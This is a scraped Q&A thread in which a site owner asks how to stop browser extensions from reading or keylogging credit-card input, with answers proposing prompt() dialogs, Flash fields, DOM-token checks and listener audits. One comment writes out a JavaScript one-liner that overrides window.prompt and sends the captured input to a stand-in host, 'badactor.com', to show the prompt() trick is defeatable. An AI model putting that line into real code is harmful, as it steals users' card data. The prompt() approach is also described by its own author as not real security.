33

Browsers allow extensions to inject code, manipulate the DOM, etc.

Over the years, I have noticed lots and various uncaught errors (using window.onerror) on a website (app) I am watching, generated by unknown browser extensions on Firefox, Chrome and Internet Explorer (all versions).

These errors didn't seem to be interrupting anything. Now I want to increase the security of this website, because it will start processing credit cards. I have seen with my own eyes malware/spyware infecting browsers with modified browser extensions (innocent browser extension, modified to report to attackers/script kiddies) working as keyloggers (using trivial onkey* event handlers, or just input.value checks).

Is there a way (meta tag, etc.) to inform a browser to disallow code injection or reading the DOM, standard or non-standard? The webpage is already SSL, yet this doesn't seem to matter (as in give a hint to the browser to activate stricter security for extensions).

.

Possible workarounds (kind of a stretch vs. a simple meta tag) suggested by others or off the top of my head:

  • Virtual keyboard for entering numbers + non textual inputs (aka img for digits)
  • remote desktop using Flash (someone suggested HTML5, yet that doesn't solve the browser extension listening on keyboard events; only Flash, Java, etc. can).
  • Very complex Javascript based protection (removes non white listed event listeners, in-memory input values along with inputs protected with actual asterix characters, etc.) (not feasible, unless it already exists)
  • Browser extension with the role of an antivirus or which could somehow protect a specific webpage (this is not feasible, maybe not even possible without creating a huge array of problems)

Edit: Google Chrome disables extensions in Incognito Mode, however, there is no standard way to detect or automatically enable Incognito Mode and so a permanent warning must be displayed.

oxygen
  • 5,891
  • 6
  • 37
  • 69
  • 5
    If the user is infected, by either a malware or an extension hijacker, I don't see how that concerns a web developer. Of course, you could put banners and warnings telling people what they already know -- to only enter sensitive data in safe environments, but if their computer is infected by a good (or better, really bad) keylogger, telling the browser to use stricter security won't really help. – Fabrício Matté Sep 19 '12 at 12:21
  • The only thing you could do is to elaborate your own extension, which interacts with your web-site, and if the extension is missing in user's browser you either warn the user about risks or just show a placeholder page with requirement to install your extension. When your extension is installed, it can disable other extensions for your web-site. – Stan Sep 19 '12 at 12:30
  • @Stan That is not feasible, but thank you for the idea. – oxygen Sep 19 '12 at 12:31
  • 2
    Well, I have one more idea. I'm posting it, though I'm sure you'll decline it as well. All access to a sensible data can be done via a RDP (or similar) interface embedded seamlessly into your web-page in user's browser: that is a user can even not notice that he works with part of web-page sitting in a remote browser (hosted on your server). The remote browser can be free of any extension as it's managed by you. – Stan Sep 19 '12 at 12:52
  • 2
    I'm +1ing Vlad's answer, he says basically it all. Being able to disable a browser extension is just as harmful (if not more) than having extensions, seeing as you could be disabling an user's NoScript which has sturdy XSS protection. As Vlad stated in his answer, `it's the user's responsability to make sure they have a clean OS when making online banking transactions.` – Fabrício Matté Sep 19 '12 at 13:00
  • @stan, do you mean someting like a flash RDP? do that exists? – Saic Siquot Sep 21 '12 at 20:51
  • Imagine a PhantomJS screenshotting itself, detecting changes and serving them as small tiles (compressed with PNG, or GIF - webpage would have to have like a max of 256 colors) to a Flash listening client. This is kind of too much security for a lot of work and more of a great risk of things going wrong (bugs, etc.). – oxygen Sep 21 '12 at 20:54
  • 2
    Sounds like you might want your users to verify their transaction via an alternative channel? Confirmation via registered Email / SMS perhaps? – Lee Kowalkowski Sep 27 '12 at 09:37
  • @LeeKowalkowski No, that's usually a banking service (it exists already - people can be notified via SMS for each and every transaction). – oxygen Sep 27 '12 at 09:54
  • @Tiberiu-Ionuț Stan: Not notification, verification (2-way not 1-way). It's not limited to banking websites. If you have users you can always have the option as a preference if they really care that their browser could be compromised. – Lee Kowalkowski Sep 27 '12 at 10:47
  • @LeeKowalkowski Are you suggesting some people don't care and prefer getting mugged? – oxygen Sep 27 '12 at 10:55
  • @Tiberiu-Ionuț Stan: No. Some people don't use any browser extensions and hate two-step verification processes. Just to buy something? They'll go somewhere else if you make it inconvenient. – Lee Kowalkowski Sep 27 '12 at 10:57
  • @LeeKowalkowski Well, the question is asking for something "behind the scenes" which does not hinder the process in any way (hidden setting to inform the browser to disable browser extension access to the document). Thanks for the idea, though its completely off topic (wether someone is using fraudulent cards or not has nothing to do with preventing keylogger access). And thanks for the downvote. – oxygen Sep 27 '12 at 11:07
  • @Tiberiu-Ionuț Stan: But if the extension is trusted there's no issue, at all. So you must be worried about untrusted/compromised extensions. You're not going to find a foolproof solution working with such unknowns - you cannot assume either way - a browser cannot assume you as a website author, requesting to disable extensions for your 'secure' page, has good intentions either. The browser will respect the user's configuration, it's their browser, not yours. The less straight-forward you make your page, the more suspicious it may appear. – Lee Kowalkowski Sep 27 '12 at 11:17
  • @LeeKowalkowski Keylogger extensions are installed offline by malware. Try searching for some free books on google, you might find such a website, serving such a "virus". One of my friends has. The anti-virus didn't pick up anything, not even with heuristic search. – oxygen Sep 27 '12 at 11:18
  • 1
    @Tiberiu-Ionuț Stan: What's it got to do with you as the website owner? It's not your responsibility. If you really want to verify each sale for fraud-prevention, then include a verification step that uses a more secure channel, not web. But I wouldn't bother personally, you're putting a lot of effort into preventing something that is trivial to rectify. Payment processing methods offer protection from fraud, no? Personally I would use PayPal/Google checkout anyway if my client didn't have anything established. The fees are worth it as the API is so simple. Let them decide what's secure. – Lee Kowalkowski Sep 27 '12 at 11:28
  • @LeeKowalkowski Again you are off topic. Please read the question. This is NOT about fraud prevention (and I'm repeating my self). It is about protecting sensitive data, such as credit card numbers. This at least helps the website reputation (my responsability), and also lends a hand to the more gullible or unfortunate to have had a virus installed. – oxygen Sep 27 '12 at 11:37
  • @Tiberiu-Ionuț Stan: Pardon? Why do you think 'script kiddies' are interested in your sensitive data then? If not to commit fraud? Know your question. It's about remotely disabling/hindering extensions as a website author (which is not going to happen, get over it - that's why I'm commenting and not posting an answer). It's not about protecting sensitive data at all. That's just a use case. If you try, you'll lose reputation/visitors with every abnormal thing you introduce (virtual keyboards in flash / canvas, for example). – Lee Kowalkowski Sep 27 '12 at 11:50
  • 2
    All this has already been discussed on other answers on this page. Please refrain from starting the same discussions all over again. If you have an answer please post it, and we'll vote and comment there. If you need clarification, please ask for it. – oxygen Sep 27 '12 at 11:53
  • @Tiberiu-Ionuț Stan: I did not downvote, by the way - that would show up in my rep history, go look, it wasn't me. It's a good question, but it can't be done. A browser extension is exactly that, something the browser can do in addition to its core, but still the browser doing it. Imagine an extension that manipulated your pages to make it accessible to the user in some way, you've no right to alter its behaviour. You're focused on 1 attack vector, there are many other components that might be compromised (hardware, network)... – Lee Kowalkowski Sep 27 '12 at 12:08
  • @Tiberiu-Ionuț Stan: You can even keylog from a mobile resting on the same desk... http://www.ted.com/talks/lang/en/avi_rubin_all_your_devices_can_be_hacked.html – Lee Kowalkowski Sep 27 '12 at 12:09
  • @LeeKowalkowski Please submit an answer, there's also a bounty to promote getting answers. All other atack vectors are off-topic. This question asks for a specific defense for quite a trendy way of keylogging (for most setups, installing browser extensions doesn't even require admin privileges). – oxygen Sep 27 '12 at 12:26
  • One tricky way to see if the dom was altered is to "know" how many nodes you have in the HTML, and count them before submitting the form. This sounds kinda like an overkill. There's also a way to find all the binded events that were added to any dom event, so you could count all events on the page. Assuming that the malware extension is not specifically targeted to your site, you could be able to detect any dom and event handling change, and act upon it. – Vlad Nicula Sep 28 '12 at 07:41

6 Answers6

14

Being able to disable someone's browser extension usually implies taking over the browser. I don't think it's possible. It would be a huge security risk. Your purpose maybe legit, but consider the scenario of webmasters programatically disabling addblockers for users in order to get them to view the advertisments.

In the end it's the user's responsability to make sure they have a clean OS when making online banking transactions. It's not the website's fault that the user is compromised

UPDATE We should wrap things up. Something like:

<meta name="disable-extension-feature" content="read-dom" />

or

<script type="text/javascript">
    Browser.MakeExtension.MallwareLogger.to.not.read.that.user.types(true);
</script>

doesn't exist and i'm sure there won't be implemented in the near future. Use any means necessary to best use the current up to date existing technologies and design your app as best as you can security wise. Don't waste your energy trying to cover for users who souldn't be making payments over the internet in the first place

Vlad Balmos
  • 3,372
  • 19
  • 34
  • I'm not trying to disable a browser extension. I am trying to prevent some functionality from beeing available too all browser extensions. Wether installed browser extensions use it or not, this cannot be called "disable someone's browser extension". Wether it is the website's fault or not, doubt will be raised when a credit card is stolen after using only one time on the internet, on the said website. – oxygen Sep 19 '12 at 12:25
  • @Tiberiu-IonuțStan yeah, you're right but once you get the ability to tamper with the extension, what's to stop someone from overiding `var disableAdd() = function {...}` with `var disabledAdd = null` ? – Vlad Balmos Sep 19 '12 at 12:26
  • 1
    @Tiberiu-IonuțStan you said you only wnat to prevent some functionality beeing available. This means being able to disable functions, vars, etc from the extension code, which in turn means being able to overide the whole behavior of the extension and finally to disable it. You can't go only half way with javascript. It's all or nothing. – Vlad Balmos Sep 19 '12 at 12:29
  • I meant the functionality the question is refering to: prevent access to manipulating and reading information of the current webpage (tab/browser window). – oxygen Sep 19 '12 at 12:31
  • I understand what you meant, but that can be obtained only through javascript and most browsers i can think of don't allow that. So my answer still stands. I doubt that it's possible – Vlad Balmos Sep 19 '12 at 12:34
  • "Being able to disable someone's browser extension usually implies taking over the browser." A small setting which the browser can choose to ignore, does not imply taking over the browser. The browser remains in control the whole time. – oxygen Sep 19 '12 at 12:39
  • @Tiberiu-IonuțStan dude, i rest my case – Vlad Balmos Sep 19 '12 at 12:40
  • So you're talking about something comparable to `autocomplete=off`. It's a request to the browser, but it can be ignored by the browser (presumably only with informed consent of the user). – Barmar Sep 25 '12 at 00:54
  • @Barmar The best way to do it would be using HTTP headers, as they can be interpreted way before the content is even read, not to mention made available. – oxygen Sep 25 '12 at 11:28
  • Check out the accepted answer, it has a very nice solution for keeping away from browser extensions (not from targeted attacks, yet targeted attacks are not an issue). So never say never :) – oxygen Sep 28 '12 at 10:38
  • @Tiberiu-IonuțStan glad to hear you have finally solved it. i still think it's a waste of time and energy – Vlad Balmos Sep 28 '12 at 10:43
  • I just asked a question and received a standard simple solution, the javascript prompt() function, of which I never knew about. It is not time consuming to use it with an onfocus event handler. – oxygen Sep 28 '12 at 10:59
5

UPDATE (2019-10-16): This isn't a "real" solution - meaning you should not rely on this as a security policy. Truth is, there is no "real" solution because malicious addons can hijack/spoof JavaScript in a way which in not detectable. The technique below was more of an exercise for me to figure out how to prevent simple key logging. You could expand on this technique to make it more difficult for hackers... but Vlad Balmos said it best in his answer below - Don't waste your energy trying to cover for users who souldn't be making payments over the internet in the first place.


You can get around the key logging by using a javascript prompt. I wrote a little test case (which ended up getting a little out of hand). This test case does the following:

  • Uses a prompt() to ask for the credit card number on focus.
  • Provides a failsafe when users check "prevent additional dialogs" or if the user is somehow able to type in the CC field
  • Periodically checks to make sure event handlers haven't been removed or spoofed and rebinds/ warns the user when necessary.

http://jsfiddle.net/ryanwheale/wQTtf/

prompt('Please enter your credit card number');

Tested in IE7+, Chrome, FF 3.6+, Android 2.3.5, iPad 2 (iOS 6.0)

Ryan Wheale
  • 26,022
  • 8
  • 76
  • 96
  • I will drop the jQuery part, but it looks like we have a winner:) Additionally, the credit card will be encrypted with a public key, then stored/prepared for form submission (and yes, in the "fake" input the same behaviour of just showing a masked credit card will be preserved). Nice:) – oxygen Sep 28 '12 at 10:34
  • Note: having a safe place to enter the credit card (where browser extensions aren't injecting code) is, in my opinion (for the given problem), equivalent to preventing code injection (for generic non-targeted attacks). – oxygen Sep 28 '12 at 10:42
  • Glad this worked. It actually works really nice on mobile devices. If you experience problems with double prompts, increase the de-dupe time. If you experience issues with mobile maintaining focus (should be blur()ing after dialog closes), then increase the timeout time. I plan on wrapping this in a nice object, removing jQuery, and open sourcing on github. – Ryan Wheale Sep 28 '12 at 17:44
  • Except for some non-related error (var range = win.document.selection.createRange();) prompt() works in ie6 too (and better than IE7+, it doesn't have the yellow bar asking for permission). – oxygen Sep 29 '12 at 11:50
  • 2
    Since browser extensions can execute code *before* yours, this is really easily defeated by simply overwriting the window's native prompt function with one that captures the data. ```window._prompt=window.prompt;window.prompt=function(q){let a=window._prompt(q);fetch('http://badactor.com?input=' + a);return a;}``` – Aaron Cicali Oct 16 '19 at 17:12
  • @AaronCicali - that's a good point. This kind of falls under "security by obfuscation" and was intended to prevent addons from capturing keystrokes. As more use cases arise, it would be incumbent on users to update this technique accordingly. For example, you could use create an iframe and call `prompt` from in there. You could define service workers to validate requests. None of these are fool-proof - just intended to make things harder. Furthermore, addon repositories are pretty good these days about detecting malicious code, asking permissions, etc. which was not the case 7 years ago. – Ryan Wheale Oct 16 '19 at 23:45
  • "Protect against browser extension injected Javascript code" - Perhaps a bit heavy handed, but your server can know all your internal JS files on start. JS can onLoad ask for all the script tags with "src" in the page and then async submit them for approval. A list of invalid JS can be returned and the JS can then scrub these from the page. Unfortunately this may leave orphaned event triggers, breaking not only the extension, but your page. In addition, you can prevent unsafe-inline JS via CSP. You might have to remove all your valid inline and put into JS files. – brightmatter Feb 08 '21 at 20:38
2

Your question is interesting, and thoughtful (+1'd), however unfortunately the proposed security does not provide real security, thus no browser will ever implement it.

One of the core principle on browser/web/network security is to resist from the desire of implementing a bogus security feature. Web will be less secure with the feature than without!

Hear me out:

Everything execute on the client-side can be manipulated. Browsers are just another HTTP clients that talks to server; server should never ever trust the computation result, or checks done in front-end Javascript. If someone can simply bypass your "security" check code executed in a browser with a extension, they can surely fire the HTTP request directly to your server with curl to do that. At least, in a browser, skilled users can turn to Firebug or Web Inspector and bypass your script, just like what you do when you debug your website.

The <meta> tag stopping extensions from injection does make the website more robust, but not more secure. There are a thousand ways to write robust JavaScript than praying for not having an evil extension. Hide your global functions/objects being one of them, and perform environment sanity check being another. GMail checks for Firebug, for example. Many websites detects Ad block.

The <meta> tag does make sense in terms of privacy (again, not security). There should be a way to tell the browser that the information currently present in the DOM is sensitive (e.g. my bank balance) and should not be exposed to third parties. Yet, if an user uses OS from vender A, browser from vender B, extension from vender C without reading through it's source code to know exactly what they do, the user have already stated his trust to these venders. Your website will not be at fault here. Users who really cares about privacy will turn to their trusted OS and browser, and use another profile or private mode of the browser to check their sensitive information.

Conclusion: If you do all the input checks on sever-side (again), your website is secure enough that no <meta> tag can make it more secure. Well done!

timdream
  • 5,914
  • 5
  • 21
  • 24
  • The question aims to protect the user from having his credit card stolen (it does not aim to protect the server in any way), and only aims to save the website's reputation. – oxygen Sep 26 '12 at 09:44
  • Actually, such a feature would be quite useful to protect benign users from malicious extensions. It is impossible to prevent the user from actively attacking you, but there's nothing wrong with preventing malicious extensions from reading your cookie jar without the user's knowledge. – SLaks Oct 09 '15 at 02:46
  • Of course, that would only be secure on Chrome OS; on any other platform, malicious OS-level code can read the cookie jar directly, bypassing any possible protection from Chrome. – SLaks Oct 09 '15 at 02:47
1

I saw something similar being done many times, although the protection was directed in the other way: quite a few sites, when they offer sensitive information in a form of text would use a Flash widget to display the text (for example, e-mail addresses, which would be otherwise found by bots and spammed).

Flash applet may be configured to reject any code that comes from the HTML page, actually, unless you specifically expect this to be possible, it will not work out of the box. Flash also doesn't re-dispatch events to the browser, so if the keylogger works on the browser level, it won't be able to log the keys pressed. Certainly, Flash has its own disadvantages, but given all other options this seems the most feasible one. So, you don't need remote desktop via Flash, simple embedded applet will be just as good. Also, Flash alone can't be used to make a fully-functional remote desktop client, you'd be looking into NaCl or JavaFX, which would make this only usable by corporate users and only eventually by private users.

Other things to consider: write your own extension. Making Firefox extension is really easy + you could reuse a lot of your JavaScript code since it can also use JavaScript. I never wrote a Google Chrome or MSIE extension, but I would imagine it's not much more difficult. But you don't need to turn it into an antivirus extension. With the tools available, you could make it so no other extension can eavesdrop on what's going on inside your own extension. I'm not sure how friendly your audience will greet that, but if you are targeting corporate sector, then that audience is, in a way, a very good one, as they don't get to choose their tools... so you can just obligate them to use the extension.

Any more ideas? - well, this one is very straight-forward and efficient: have users open a pop-up window / separate tab and disable JavaScript in it :) I mean, you could decline to accept a credit card info if the JavaScript is enabled in the browser - obviously, it is very easy to check. This would require some mental effort from the users to find the setting, where they can disable it + they will be raging over a pop-up window... but almost certainly this will disable all code injection :)

  • I wrote an extension years ago for all browsers, and things change fast, its really hard to maintain. – oxygen Sep 22 '12 at 00:58
  • A Flash text input would do the trick. (Note that Flash can be a RDP client with ease, this comes from an experienced AS3 developer - it just needs a socket policy file be served before attempting to connect). – oxygen Sep 22 '12 at 02:08
  • 1
    @wvxcw Not true. Once Flash has focus, NOTHING is captured by the browser. Not even browser keyboard shortcuts. Also, from the browser to Javascript event listeners is one more hop, they are not the same thing. – oxygen Sep 22 '12 at 11:08
  • You try cathing keyboard events in Javascript (maybe with injected code) after passing focus to Flash (this is what my response was refering to; so did YOU try it before arguing?). As far as browser shortcuts go, it all depends on how the ActiveX/Plugin is embeded. Some browsers want control over browser shortcuts, some do not (Google Chrome CTRL-O does not work when Flash has focus). Not relevant, please focus on the problem. – oxygen Sep 22 '12 at 14:03
  • Those are system wide shortcuts. Also, I am not trying to capture events in Javascript, I am trying to prevent injected javascript code from doing it. So far, so good, Flash fits the bill. – oxygen Sep 24 '12 at 10:25
1

This wont work, but i'll try something around document.createElement = function(){}; That should affect client side scripts (greasemonkey)

You can also try to submit the current DOM using an hidden input myform.onsubmit=function(){myform.hiddeninput.value=document.body.innerHTML;} and check server side for unwanted DOM elements. I guess using a server side generated id/token on every element can help here (as injected DOM node will surely miss it)

=> page should look like

<html uniqueid="121234"> <body uniqueid="121234"><form  uniqueid="121234"> ...

So finding un-tracked elements in the POST action should be easy (using xpath for example)

<?php
simplexml_load_string($_POST['currentdom'])->xpath("*:not(@uniqueid)") //style

Something around that for the DOM injection issue.

As for the keylogging part, i don't think you can do anything to prevent keylogger from a client side perspective (except using virtual keyboard & so), as there is no way to discern them from the browser internals. If you are paranoid, you should try a 100% canvas generated design (mimicking HTML element & interaction) as this might protect you (no DOM element to be bound to), but that would mean creating a browser in a browser.

131
  • 3,071
  • 31
  • 32
  • custom attributes are ignored by web browsers (they should be marked in a proper xml namespace if you want to be 100% W3C compliant) – 131 Sep 24 '12 at 23:03
  • Also, please note that this dont "protect" anything (except for the createElement=function(){} idea) but you can "test" for malware extensions this way. – 131 Sep 24 '12 at 23:05
  • And you might want to use a sequence based unique token (i.e. an increment part) so you can detect "missing" elements – 131 Sep 24 '12 at 23:07
  • A lot of false positives of infinitely various extensions doing stuff to the DOM will pop-out (as in attributes such as "injectedscreenshotcode=1"). Also, attachEvent/addEventListener listening functions don't show-up on an exported DOM as active, and those are the main tool of keyloggers (their function definition nodes might, yet it is an extreme amount of work to automate something like an heuristic anti-virus). In theory, it sounds like a nice idea, at least for debugging/saving proof/helping in the fight against badware. – oxygen Sep 25 '12 at 00:07
  • Detecting alien elements could be an additional protection, yet most of the known malware out there is pretty much concealed and silent (talking about browser extension malware, I met some). – oxygen Sep 25 '12 at 00:11
  • Unfortunately, i don't think you can do anything to prevent keylogger from a client side perspective (except using virtual keyboard & so), as there is no way to discern them from the browser internals. If you are paranoid, you should try a 100% canvas generated design (mimicking HTML element & interaction) as this might protect you (no DOM element to be bound to), but that would mean creating a browser in a browser. – 131 Sep 26 '12 at 20:01
  • I don't see how using canvas eliminates javascript keyboard events. – oxygen Sep 26 '12 at 20:11
1

And just that we all know we cannot explicitly block the extensions from our code, one another way can be to find the list of event listeners attached to key fields like password, ssn and also events on body like keypress, keyup, keydown and verify whether the listener belongs to your code, if not just throw a flash message to disable addons.

And you can attach mutation events to your page and see if there are some new nodes being created / generated by a third party apart from your code.

ok its obvious that you will get into performance issues, but thats a trade off for your security.

any takers ?

  • It would be interesting to find and remove non white listed event listeners, but how do I do that? One way is through frequent cloning of the entire body. But is that enough? – oxygen Sep 28 '12 at 06:36
  • 1
    well please go through this for looking for listeners http://stackoverflow.com/questions/446892/how-to-find-event-listeners-on-a-dom-node and https://developer.mozilla.org/en-US/docs/DOM/MutationObserver?redirectlocale=en-US&redirectslug=DOM%2FDOM_Mutation_Observers for mutation observers, hope it helps :) – Chandra Sekhar Walajapet Sep 28 '12 at 06:54